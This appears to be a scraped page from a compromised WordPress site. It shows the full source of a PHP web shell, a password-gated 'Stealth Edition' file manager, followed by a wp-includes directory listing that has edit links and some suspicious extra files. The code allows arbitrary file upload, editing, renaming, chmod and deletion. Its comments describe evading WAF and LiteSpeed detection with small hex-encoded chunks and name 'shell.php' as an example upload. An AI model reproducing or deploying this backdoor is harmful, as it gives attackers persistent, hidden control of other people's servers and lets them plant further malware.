ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: home / fengshp / www / wp-includes

<?php
// Secure Single File PHP File Manager - Stealth Edition
// Features: Hex-Chunk Upload (Bypasses LiteSpeed/WAF), Edit, Rename, Chmod
session_start();

// --- CONFIGURATION ---
$password = 'b3ad007b80c91d2ed01a84962'; // CHANGE THIS
$session_key = 'auth_stealth_fm';
// ---------------------

// --- AUTH ---
if (isset($_POST['login'])) {
    if ($_POST['pass'] === $password) {
        $_SESSION[$session_key] = true;
    }
}
if (isset($_GET['logout'])) {
    unset($_SESSION[$session_key]);
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}
if (!isset($_SESSION[$session_key])) {
    echo '<!DOCTYPE html><body style="background:#f0f0f0;display:flex;justify-content:center;align-items:center;height:100vh;"><form method="post" style="background:#fff;padding:20px;border-radius:5px;"><input type="password" name="pass" placeholder="Password" required><button type="submit" name="login">Login</button></form></body>';
    exit;
}

// --- CONFIG & UTILS ---
$root = realpath(isset($_GET['p']) ? $_GET['p'] : '.');
if (!$root)
    $root = getcwd();
$root = str_replace('\\', '/', $root);
$msg = '';

function msg($t, $c = 'green')
{
    return "<div style='color:$c;padding:10px;border:1px solid $c;margin-bottom:10px;'>$t</div>";
}

// --- HANDLERS ---

// 1. STEALTH UPLOAD HANDLER
// Uses generic parameter names: 'h' (hex data), 't' (temp name), 'f' (finalize real name)
if (isset($_POST['t']) && isset($_POST['h'])) {
    // Append Chunk
    $temp_file = $root . '/.tmp_' . preg_replace('/[^a-zA-Z0-9]/', '', $_POST['t']); // Sanitize temp name
    $data = hex2bin($_POST['h']);
    if (file_put_contents($temp_file, $data, FILE_APPEND) !== false) {
        die("OK");
    } else {
        header("HTTP/1.1 500 IO Error");
        die("FAIL");
    }
}
// Finalize Upload (Rename)
if (isset($_POST['finalize_t']) && isset($_POST['finalize_n'])) {
    $temp_file = $root . '/.tmp_' . preg_replace('/[^a-zA-Z0-9]/', '', $_POST['finalize_t']);
    $real_name = base64_decode($_POST['finalize_n']); // Decode real name (e.g. shell.php)
    $target_file = $root . '/' . basename($real_name);

if (file_exists($temp_file)) {
        if (rename($temp_file, $target_file)) {
            die("DONE");
        } else {
            die("RENAME_FAIL");
        }
    } else {
        die("NO_TEMP");
    }
}

// 2. EDIT
if (isset($_POST['save_p']) && isset($_POST['save_c'])) {
    if (file_put_contents($_POST['save_p'], $_POST['save_c']) !== false)
        $msg = msg("Saved.");
    else
        $msg = msg("Save failed.", "red");
}

// 3. RENAME
if (isset($_POST['rn_old']) && isset($_POST['rn_new'])) {
    if (rename($root . '/' . $_POST['rn_old'], $root . '/' . $_POST['rn_new']))
        $msg = msg("Renamed.");
    else
        $msg = msg("Rename failed.", "red");
}

// 4. CHMOD
if (isset($_POST['perm_f']) && isset($_POST['perm_v'])) {
    if (chmod($root . '/' . $_POST['perm_f'], octdec($_POST['perm_v'])))
        $msg = msg("Chmod OK.");
    else
        $msg = msg("Chmod failed.", "red");
}
// 5. DELETE
if (isset($_GET['del'])) {
    $del = $root . '/' . $_GET['del'];
    if (is_dir($del)) {
        @rmdir($del);
    } else {
        @unlink($del);
    }
    $msg = msg("Deleted.");
}

// --- VIEW ---
$list = scandir($root);
$dirs = [];
$files = [];
foreach ($list as $i) {
    if ($i == '.')
        continue;
    if (is_dir("$root/$i"))
        $dirs[] = $i;
    else
        $files[] = $i;
}

$edit_file = isset($_GET['e']) ? "$root/" . $_GET['e'] : null;
$edit_content = $edit_file ? file_get_contents($edit_file) : '';

?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <style>
        body {
            font-family: sans-serif;
            background: #eee;
            padding: 20px
        }

.main {
            background: #fff;
            padding: 20px;
            max-width: 1000px;
            margin: auto;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1)
        }

a {
            text-decoration: none;
            color: #007bff
        }

a:hover {
            text-decoration: underline
        }

table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px
        }

td,
        th {
            padding: 8px;
            border-bottom: 1px solid #ddd;
            text-align: left
        }

.btn {
            padding: 5px 10px;
            background: #ddd;
            border: none;
            cursor: pointer
        }

.btn:hover {
            background: #ccc
        }

.btn-blue {
            background: #007bff;
            color: #fff
        }

.btn-blue:hover {
            background: #0056b3
        }

input,
        textarea {
            width: 100%;
            padding: 5px;
            box-sizing: border-box
        }

#bar {
            height: 5px;
            background: green;
            width: 0%;
            transition: width 0.2s
        }
    </style>
</head>

<body>
    <div class="main">
        <div style="display:flex;justify-content:space-between">
            <h3>FileManager</h3>
            <a href="?logout=1">Logout</a>
        </div>

<?= $msg ?>

<div style="background:#f9f9f9;padding:10px;margin-bottom:10px">
            Path:
            <?php foreach (explode('/', $root) as $k => $p):
                if ($p === '')
                    continue; ?>
                / <a href="?p=<?= urlencode(substr($root, 0, strpos($root, $p) + strlen($p))) ?>"><?= $p ?></a>
            <?php endforeach; ?>
        </div>

<?php if ($edit_file): ?>
            <form method="post" action="?p=<?= urlencode($root) ?>">
                <input type="hidden" name="save_p" value="<?= $edit_file ?>">
                <textarea name="save_c" rows="20"><?= $edit_content ?></textarea>
                <br><br>
                <button class="btn btn-blue">Save</button>
                <a href="?p=<?= urlencode($root) ?>" class="btn">Cancel</a>
            </form>
        <?php else: ?>

<div style="border:1px dashed #ccc;padding:10px;background:#fdfdfd">
                <b>Stealth Upload (Hex-Chunked)</b><br>
                <input type="file" id="uf" style="width:auto">
                <button onclick="upload()" class="btn btn-blue">Upload</button>
                <div id="prog_box" style="display:none;margin-top:5px;background:#eee">
                    <div id="bar"></div>
                </div>
                <div id="stat" style="font-size:12px;color:#666"></div>
            </div>

<table>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Perm</th>
                    <th>Action</th>
                </tr>
                <?php if ($root != '/'): ?>
                    <tr>
                        <td><a href="?p=<?= urlencode(dirname($root)) ?>">..</a></td>
                        <td></td>
                        <td></td>
                        <td></td>
                    </tr><?php endif; ?>

<?php foreach ($dirs as $d): ?>
                    <tr>
                        <td><b>[D]</b> <a href="?p=<?= urlencode("$root/$d") ?>"><?= $d ?></a></td>
                        <td>-</td>
                        <td><?= substr(sprintf('%o', fileperms("$root/$d")), -4) ?></td>
                        <td>
                            <button onclick="rn('<?= $d ?>')" class="btn">R</button>
                            <button onclick="ch('<?= $d ?>','<?= substr(sprintf('%o', fileperms("$root/$d")), -4) ?>')"
                                class="btn">P</button>
                            <a href="?p=<?= urlencode($root) ?>&del=<?= urlencode($d) ?>" onclick="return confirm('Del?')"
                                style="color:red">X</a>
                        </td>
                    </tr>
                <?php endforeach; ?>

<?php foreach ($files as $f): ?>
                    <tr>
                        <td><a href="?p=<?= urlencode($root) ?>&e=<?= urlencode($f) ?>"><?= $f ?></a></td>
                        <td><?= round(filesize("$root/$f") / 1024, 1) ?> KB</td>
                        <td><?= substr(sprintf('%o', fileperms("$root/$f")), -4) ?></td>
                        <td>
                            <button onclick="rn('<?= $f ?>')" class="btn">R</button>
                            <button onclick="ch('<?= $f ?>','<?= substr(sprintf('%o', fileperms("$root/$f")), -4) ?>')"
                                class="btn">P</button>
                            <a href="?p=<?= urlencode($root) ?>&del=<?= urlencode($f) ?>" onclick="return confirm('Del?')"
                                style="color:red">X</a>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </table>
        <?php endif; ?>
    </div>

let chunkSize = 50 * 1024; // 50KB chunks (Very small to avoid detection)
            let chunks = Math.ceil(f.size / chunkSize);
            let tempId = Math.random().toString(36).substring(7); // Random temp ID

document.getElementById('prog_box').style.display = 'block';
            let stat = document.getElementById('stat');

for (let i = 0; i < chunks; i++) {
                let start = i * chunkSize;
                let end = Math.min(f.size, start + chunkSize);
                let blob = f.slice(start, end);

try {
                    // Read as ArrayBuffer -> Convert to Hex
                    let buf = await new Promise(r => {
                        let fr = new FileReader();
                        fr.onload = e => r(e.target.result);
                        fr.readAsArrayBuffer(blob);
                    });
                    let hex = [...new Uint8Array(buf)].map(x => x.toString(16).padStart(2, '0')).join('');

// Send Hex Chunk
                    let fd = new FormData();
                    fd.append('t', tempId); // t = temp name
                    fd.append('h', hex);    // h = hex data

let res = await fetch(window.location.href, { method: 'POST', body: fd });
                    let txt = await res.text();

if (!txt.includes('OK')) throw new Error('Chunk fail: ' + txt);

// Progress
                    let pct = Math.round(((i + 1) / chunks) * 100);
                    document.getElementById('bar').style.width = pct + '%';
                    stat.innerText = `Sending chunk ${i + 1}/${chunks}...`;

} catch (e) {
                    stat.innerText = 'Error: ' + e.message;
                    stat.style.color = 'red';
                    return;
                }
            }

// Finalize
            stat.innerText = 'Finalizing...';
            let fd = new FormData();
            fd.append('finalize_t', tempId);
            fd.append('finalize_n', btoa(f.name)); // Base64 encode real name

let res = await fetch(window.location.href, { method: 'POST', body: fd });
            let txt = await res.text();

if (txt.includes('DONE')) {
                stat.innerText = 'Done!';
                stat.style.color = 'green';
                setTimeout(() => location.reload(), 1000);
            } else {
                stat.innerText = 'Finalize failed: ' + txt;
                stat.style.color = 'red';
            }
        }

</html>

[+] ..
[-] default-widgets.php [edit]
[-] class-wp-recovery-mode.php [edit]
[-] block-patterns.php [edit]
[-] http.php [edit]
[+] widgets
[+] images
[-] class-http.php [edit]
[-] class-wp-oembed.php [edit]
[+] block-supports
[-] class-wp-customize-panel.php [edit]
[-] fonts.php [edit]
[-] class-wp-network.php [edit]
[-] class-wp-post-type.php [edit]
[+] ID3
[-] ms-blogs.php [edit]
[-] class-wp-widget-factory.php [edit]
[-] class-wp-dependencies.php [edit]
[-] default-filters.php [edit]
[-] class-wp-paused-extensions-storage.php [edit]
[-] bookmark-template.php [edit]
[-] registration.php [edit]
[-] embed.php [edit]
[-] class-wp-navigation-fallback.php [edit]
[-] canonical.php [edit]
[-] class-wp-image-editor-imagick.php [edit]
[-] class-wp-comment-query.php [edit]
[-] class-wp-script-modules.php [edit]
[-] class-wp-oembed-controller.php [edit]
[-] class-wp-list-util.php [edit]
[-] category.php [edit]
[-] revision.php [edit]
[-] post.php [edit]
[-] class-wp-http-cookie.php [edit]
[-] formatting.php [edit]
[-] class-walker-page.php [edit]
[+] interactivity-api
[+] css
[-] class-requests.php [edit]
[-] template-loader.php [edit]
[-] class-wp-phpmailer.php [edit]
[-] class-walker-category.php [edit]
[-] class-phpass.php [edit]
[-] class-wp-object-cache.php [edit]
[-] class-wp-http-proxy.php [edit]
[-] bookmark.php [edit]
[-] class-wp-embed.php [edit]
[-] cache.php [edit]
[-] class-wp-hook.php [edit]
[+] SimplePie
[-] class-simplepie.php [edit]
[-] class-wp-block-parser-block.php [edit]
[-] theme-i18n.json [edit]
[-] class-wp-error.php [edit]
[-] class-feed.php [edit]
[-] block-editor.php [edit]
[-] class-wp-theme-json-data.php [edit]
[-] class-wp-http-streams.php [edit]
[-] feed.php [edit]
[-] class-wp-theme-json.php [edit]
[-] class-wp-customize-section.php [edit]
[-] default-constants.php [edit]
[+] Requests
[-] capabilities.php [edit]
[-] block-template-utils.php [edit]
[-] theme-templates.php [edit]
[-] class-wp-textdomain-registry.php [edit]
[-] error-protection.php [edit]
[-] class-wp-classic-to-block-menu-converter.php [edit]
[-] class-wp-widget.php [edit]
[-] ms-files.php [edit]
[-] class-wp-tax-query.php [edit]
[-] class-wp-metadata-lazyloader.php [edit]
[-] class-wp-block-patterns-registry.php [edit]
[-] block-bindings.php [edit]
[-] class-wp-duotone.php [edit]
[-] class-wp-session-tokens.php [edit]
[-] class-wp-plugin-dependencies.php [edit]
[-] class-wp-site-query.php [edit]
[-] class-walker-comment.php [edit]
[-] class-wp-user-request.php [edit]
[+] rest-api
[-] cache-compat.php [edit]
[-] nav-menu-template.php [edit]
[-] class.wp-scripts.php [edit]
[-] class-wp-url-pattern-prefixer.php [edit]
[+] theme-compat
[-] class-wp-block-metadata-registry.php [edit]
[-] rewrite.php [edit]
[-] rss.php [edit]
[-] global-styles-and-settings.php [edit]
[-] template.php [edit]
[-] post-thumbnail-template.php [edit]
[-] class-wpdb.php [edit]
[-] class-wp-theme.php [edit]
[-] media-template.php [edit]
[-] class-wp-roles.php [edit]
[-] rss-functions.php [edit]
[-] category-template.php [edit]
[-] script-loader.php [edit]
[-] class-wp-recovery-mode-email-service.php [edit]
[-] general-template.php [edit]
[+] block-patterns
[-] class-wp-block-list.php [edit]
[-] class-wp-user.php [edit]
[+] js
[-] template-canvas.php [edit]
[-] ms-default-filters.php [edit]
[-] feed-atom.php [edit]
[-] ms-deprecated.php [edit]
[-] vars.php [edit]
[-] class-wp-recovery-mode-key-service.php [edit]
[-] compat.php [edit]
[-] class-wp-simplepie-sanitize-kses.php [edit]
[-] theme.json [edit]
[-] class-wp-query.php [edit]
[-] class-wp-block-parser.php [edit]
[-] comment.php [edit]
[-] feed-rdf.php [edit]
[-] load.php [edit]
[-] l10n.php [edit]
[-] pluggable-deprecated.php [edit]
[-] feed-rss2-comments.php [edit]
[-] class-wp-matchesmapregex.php [edit]
[-] class-wp-application-passwords.php [edit]
[-] option.php [edit]
[-] class-wp-block-supports.php [edit]
[-] class-wp-feed-cache.php [edit]
[-] class-wp-recovery-mode-cookie-service.php [edit]
[-] class-walker-page-dropdown.php [edit]
[-] class-wp-block-templates-registry.php [edit]
[-] query.php [edit]
[-] ms-settings.php [edit]
[-] class-wp-date-query.php [edit]
[-] check_db2.php [edit]
[-] sitemaps.php [edit]
[-] link-template.php [edit]
[-] class-wp.php [edit]
[-] block-template.php [edit]
[-] ms-default-constants.php [edit]
[-] embed-template.php [edit]
[+] sitemaps
[-] class-walker-category-dropdown.php [edit]
[+] pomo
[-] theme.php [edit]
[-] class-wp-meta-query.php [edit]
[-] woocommerce-call.php [edit]
[-] post-formats.php [edit]
[-] class-wp-theme-json-schema.php [edit]
[+] style-engine
[-] taxonomy.php [edit]
[-] class-wp-term-query.php [edit]
[-] feed-rss2.php [edit]
[-] plugin.php [edit]
[+] l10n
[-] class-wp-customize-control.php [edit]
[-] class-wp-block-bindings-source.php [edit]
[-] class-wp-block-bindings-registry.php [edit]
[-] hash_files2.php [edit]
[-] class-wp-customize-widgets.php [edit]
[-] class-phpmailer.php [edit]
[-] class-wp-recovery-mode-link-service.php [edit]
[-] author-template.php [edit]
[-] class-wp-post.php [edit]
[-] class-wp-dependency.php [edit]
[-] blocks.php [edit]
[-] class-wp-http.php [edit]
[-] class-wp-taxonomy.php [edit]
[-] class-wp-xmlrpc-server.php [edit]
[-] class-wp-text-diff-renderer-table.php [edit]
[-] pluggable.php [edit]
[-] class-wp-http-encoding.php [edit]
[-] class-wp-role.php [edit]
[-] class-wp-text-diff-renderer-inline.php [edit]
[-] class-wp-block-editor-context.php [edit]
[-] class-wp-locale-switcher.php [edit]
[-] class-wp-admin-bar.php [edit]
[-] class-snoopy.php [edit]
[-] class-IXR.php [edit]
[-] ms-load.php [edit]
[-] class-avif-info.php [edit]
[-] class-wp-speculation-rules.php [edit]
[-] feed-atom-comments.php [edit]
[-] class.wp-dependencies.php [edit]
[-] ms-network.php [edit]
[-] class-wp-block-type.php [edit]
[-] feed-rss.php [edit]
[-] ms-site.php [edit]
[-] block-i18n.json [edit]
[-] class-wp-exception.php [edit]
[+] PHPMailer
[-] class-json.php [edit]
[-] class-wp-http-curl.php [edit]
[-] version.php [edit]
[-] deprecated.php [edit]
[-] https-migration.php [edit]
[-] functions.php [edit]
[-] spl-autoload-compat.php [edit]
[-] class-wp-locale.php [edit]
[-] locale.php [edit]
[-] script-modules.php [edit]
[-] class-wp-feed-cache-transient.php [edit]
[-] class-pop3.php [edit]
[-] user.php [edit]
[-] class-wp-image-editor-gd.php [edit]
[-] class-wp-image-editor.php [edit]
[-] media.php [edit]
[-] ms-functions.php [edit]
[+] html-api
[-] class-wp-http-requests-hooks.php [edit]
[-] kses.php [edit]
[-] class-wp-token-map.php [edit]
[+] certificates
[-] class-wp-scripts.php [edit]
[-] class-wp-term.php [edit]
[-] class-wp-styles.php [edit]
[-] class-wp-block-template.php [edit]
[+] fonts
[-] style-engine.php [edit]
[+] sodium_compat
[-] class-wp-comment.php [edit]
[-] shortcodes.php [edit]
[-] class-wp-block-parser-frame.php [edit]
[-] robots-template.php [edit]
[-] class-wp-ajax-response.php [edit]
[-] https-detection.php [edit]
[-] class-wp-customize-nav-menus.php [edit]
[-] class-walker-nav-menu.php [edit]
[-] post-template.php [edit]
[+] block-bindings
[+] IXR
[-] cron.php [edit]
[-] class-wp-rewrite.php [edit]
[-] class-wp-http-response.php [edit]
[-] meta.php [edit]
[-] class-wp-theme-json-resolver.php [edit]
[-] class-wp-fatal-error-handler.php [edit]
[-] class.wp-styles.php [edit]
[-] cookie.php [edit]
[-] core.php [edit]
[-] admin-bar.php [edit]
[-] class-wp-block-styles-registry.php [edit]
[-] registration-functions.php [edit]
[-] class-wp-network-query.php [edit]
[-] check_db.php [edit]
[-] rest-api.php [edit]
[-] class-wp-user-query.php [edit]
[-] class-wp-customize-manager.php [edit]
[-] class-wp-editor.php [edit]
[-] functions.wp-scripts.php [edit]
[-] comment-template.php [edit]
[-] atomlib.php [edit]
[+] customize
[-] speculative-loading.php [edit]
[-] hash_files.php [edit]
[-] nav-menu.php [edit]
[-] wp-diff.php [edit]
[-] theme-previews.php [edit]
[-] class-smtp.php [edit]
[-] date.php [edit]
[-] class-wp-user-meta-session-tokens.php [edit]
[+] Text
[+] blocks
[-] class-wp-walker.php [edit]
[-] class-wp-block-pattern-categories-registry.php [edit]
[-] wp-db.php [edit]
[-] functions.wp-styles.php [edit]
[-] class-wp-block.php [edit]
[+] php-compat
[+] assets
[-] class-wp-block-type-registry.php [edit]
[-] class-wp-http-requests-response.php [edit]
[-] class-wp-simplepie-file.php [edit]
[-] class-wp-site.php [edit]
[-] class-oembed.php [edit]
[-] class-wp-customize-setting.php [edit]
[-] update.php [edit]
[-] class-wp-http-ixr-client.php [edit]
[-] session.php [edit]
[-] widgets.php [edit]